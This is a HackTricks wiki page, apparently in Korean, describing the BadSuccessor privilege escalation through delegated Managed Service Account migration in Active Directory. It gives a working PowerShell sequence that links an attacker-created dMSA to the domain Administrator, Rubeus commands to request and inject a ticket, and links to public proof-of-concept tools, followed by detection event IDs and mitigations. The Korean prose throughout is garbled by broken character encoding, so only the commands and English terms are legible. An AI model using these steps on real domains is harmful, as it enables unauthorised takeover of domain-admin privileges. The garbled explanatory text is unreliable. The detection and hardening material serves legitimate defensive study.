BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Delegated Managed Service Accounts (dMSA)๋ Windows Server 2025์ ํ์ฌ๋ gMSA์ ์ฐจ์ธ๋ ํ๊ณ์์
๋๋ค. ํฉ๋ฒ์ ์ธ ๋ง์ด๊ทธ๋ ์ด์
์ํฌํ๋ก์ฐ๋ ๊ด๋ฆฌ์๊ฐ ์ค๋๋ ๊ณ์ (์ฌ์ฉ์, ์ปดํจํฐ ๋๋ ์๋น์ค ๊ณ์ )์ dMSA๋ก ๊ต์ฒดํ๋ฉด์ ๊ถํ์ ํฌ๋ช
ํ๊ฒ ์ ์งํ ์ ์๋๋ก ํฉ๋๋ค. ์ด ์ํฌํ๋ก์ฐ๋ Start-ADServiceAccountMigration ๋ฐ Complete-ADServiceAccountMigration๊ณผ ๊ฐ์ PowerShell cmdlet์ ํตํด ๋
ธ์ถ๋๋ฉฐ, dMSA ๊ฐ์ฒด์ ๋ ๊ฐ์ง LDAP ์์ฑ์ ์์กดํฉ๋๋ค:
msDS-ManagedAccountPrecededByLinkโ DN ๋งํฌ๋ก์ ๋์ฒด๋(์ค๋๋) ๊ณ์ .msDS-DelegatedMSAStateโ ๋ง์ด๊ทธ๋ ์ด์ ์ํ (0= ์์,1= ์งํ ์ค,2= ์๋ฃ๋จ).
๊ณต๊ฒฉ์๊ฐ OU ๋ด์์ ์ด๋ค dMSA๋ฅผ ์์ฑํ๊ณ ์ด ๋ ์์ฑ์ ์ง์ ์กฐ์ํ ์ ์๋ค๋ฉด, LSASS ๋ฐ KDC๋ dMSA๋ฅผ ์ฐ๊ฒฐ๋ ๊ณ์ ์ ํ๊ณ์๋ก ๊ฐ์ฃผํฉ๋๋ค. ์ดํ ๊ณต๊ฒฉ์๊ฐ dMSA๋ก ์ธ์ฆํ๋ฉด ์ฐ๊ฒฐ๋ ๊ณ์ ์ ๋ชจ๋ ๊ถํ์ ์์๋ฐ์ต๋๋ค โ ๊ด๋ฆฌ ๊ณ์ ์ด ์ฐ๊ฒฐ๋ ๊ฒฝ์ฐ ๋๋ฉ์ธ ๊ด๋ฆฌ์๊น์ง ๊ฐ๋ฅํฉ๋๋ค.
์ด ๊ธฐ์ ์ 2025๋ Unit 42์ ์ํด BadSuccessor๋ผ๋ ์ด๋ฆ์ด ๋ถ์ฌ์ก์ต๋๋ค. ์์ฑ ์์ ์ ๋ณด์ ํจ์น๋ ์ ๊ณต๋์ง ์์ผ๋ฉฐ, OU ๊ถํ์ ๊ฐํ๋ง์ด ๋ฌธ์ ๋ฅผ ์ํํฉ๋๋ค.
๊ณต๊ฒฉ ์ ์ ์กฐ๊ฑด
- ์กฐ์ง ๋จ์(OU) ๋ด์์ ๊ฐ์ฒด๋ฅผ ์์ฑํ ์ ์๋ ๊ถํ์ด ์๋ ๊ณ์ ๋ฐ ๋ค์ ์ค ํ๋ ์ด์์ ๋ณด์ ํด์ผ ํฉ๋๋ค:
Create ChildโmsDS-DelegatedManagedServiceAccount๊ฐ์ฒด ํด๋์คCreate ChildโAll Objects(์ผ๋ฐ ์์ฑ)
- LDAP ๋ฐ Kerberos์ ๋ํ ๋คํธ์ํฌ ์ฐ๊ฒฐ(ํ์ค ๋๋ฉ์ธ ๊ฐ์ ์๋๋ฆฌ์ค / ์๊ฒฉ ๊ณต๊ฒฉ).
์ทจ์ฝํ OU ์ด๊ฑฐํ๊ธฐ
Unit 42๋ ๊ฐ OU์ ๋ณด์ ์ค๋ช ์๋ฅผ ํ์ฑํ๊ณ ํ์ํ ACE๋ฅผ ๊ฐ์กฐ ํ์ํ๋ PowerShell ๋์ฐ๋ฏธ ์คํฌ๋ฆฝํธ๋ฅผ ๊ณต๊ฐํ์ต๋๋ค:
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
์คํฌ๋ฆฝํธ๋ (objectClass=organizationalUnit)์ ๋ํ ํ์ด์ง๋ LDAP ๊ฒ์์ ์คํํ๊ณ ๋ชจ๋ nTSecurityDescriptor๋ฅผ ํ์ธํฉ๋๋ค.
ADS_RIGHT_DS_CREATE_CHILD(0x0001)Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8(๊ฐ์ฒด ํด๋์ค msDS-DelegatedManagedServiceAccount)
Exploitation Steps
์ฐ๊ธฐ ๊ฐ๋ฅํ OU๊ฐ ์๋ณ๋๋ฉด ๊ณต๊ฒฉ์ ๋จ 3๊ฐ์ LDAP ์ฐ๊ธฐ๋ง ๋จ์ต๋๋ค:
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
๋ณต์ ํ ๊ณต๊ฒฉ์๋ ๋จ์ํ logonํ์ฌ attacker_dMSA$๋ก ๋ก๊ทธ์ธํ๊ฑฐ๋ Kerberos TGT๋ฅผ ์์ฒญํ ์ ์์ต๋๋ค. Windows๋ superseded ๊ณ์ ์ ํ ํฐ์ ์์ฑํฉ๋๋ค.
Automation
์ฌ๋ฌ ๊ณต๊ฐ PoC๋ ๋น๋ฐ๋ฒํธ ๊ฒ์ ๋ฐ ํฐ์ผ ๊ด๋ฆฌ๋ฅผ ํฌํจํ ์ ์ฒด ์ํฌํ๋ก๋ฅผ ๋ํํฉ๋๋ค:
- SharpSuccessor (C#) โ https://github.com/logangoins/SharpSuccessor
- BadSuccessor.ps1 (PowerShell) โ https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1
- NetExec ๋ชจ๋ โ
badsuccessor(Python) โ https://github.com/Pennyw0rth/NetExec
Post-Exploitation
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
ํ์ง ๋ฐ ์ฌ๋ฅ
OU์์ ๊ฐ์ฒด ๊ฐ์ฌ๋ฅผ ํ์ฑํํ๊ณ ๋ค์ Windows ๋ณด์ ์ด๋ฒคํธ๋ฅผ ๋ชจ๋ํฐ๋งํฉ๋๋ค:
- 5137 โ dMSA ๊ฐ์ฒด ์์ฑ
- 5136 โ
msDS-ManagedAccountPrecededByLink์์ - 4662 โ ํน์ ์์ฑ ๋ณ๊ฒฝ
- GUID
2f5c138a-bd38-4016-88b4-0ec87cbb4919โmsDS-DelegatedMSAState - GUID
a0945b2b-57a2-43bd-b327-4d112a4e8bd1โmsDS-ManagedAccountPrecededByLink - 2946 โ dMSA์ ๋ํ TGT ๋ฐ๊ธ
4662 (์์ฑ ์์ ), 4741 (์ปดํจํฐ/์๋น์ค ๊ณ์ ์์ฑ) ๋ฐ 4624 (ํ์ ๋ก๊ทธ์จ)๋ฅผ ์๊ด๊ด๊ณ ๋ถ์ํ๋ฉด BadSuccessor ํ๋์ด ๋น ๋ฅด๊ฒ ๋๋ฌ๋ฉ๋๋ค. XSIAM๊ณผ ๊ฐ์ XDR ์๋ฃจ์
์ ์ฆ์ ์ฌ์ฉํ ์ ์๋ ์ฟผ๋ฆฌ๋ฅผ ์ ๊ณตํฉ๋๋ค (์ฐธ์กฐ๋ฅผ ์ฐธ์กฐํ์ญ์์ค).
์ํ
- ์ต์ ๊ถํ ์์น์ ์ ์ฉํฉ๋๋ค โ ์ ๋ขฐํ ์ ์๋ ์ญํ ์๋ง ์๋น์ค ๊ณ์ ๊ด๋ฆฌ๋ฅผ ์์ํฉ๋๋ค.
- ๋ช
์์ ์ผ๋ก ํ์ํ์ง ์์ OU์์
Create Child/msDS-DelegatedManagedServiceAccount๋ฅผ ์ ๊ฑฐํฉ๋๋ค. - ์์ ๋์ด๋ ์ด๋ฒคํธ ID๋ฅผ ๋ชจ๋ํฐ๋งํ๊ณ dMSA๋ฅผ ์์ฑํ๊ฑฐ๋ ํธ์งํ๋ ๋น-ํฐ์ด 0 ์ ์์ ๋ํด ๊ฒฝ๊ณ ํฉ๋๋ค.
์ฐธ์กฐ
์ฐธ๊ณ ๋ฌธํ
- Unit42 โ ์ข์ ๊ณ์ ์ด ๋์ ๊ณ์ ์ผ๋ก ๋ณํ ๋: ์์๋ ๊ด๋ฆฌ ์๋น์ค ๊ณ์ ์ ์ฉ
- SharpSuccessor PoC
- BadSuccessor.ps1 โ Pentest-Tools-Collection
- NetExec BadSuccessor ๋ชจ๋
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


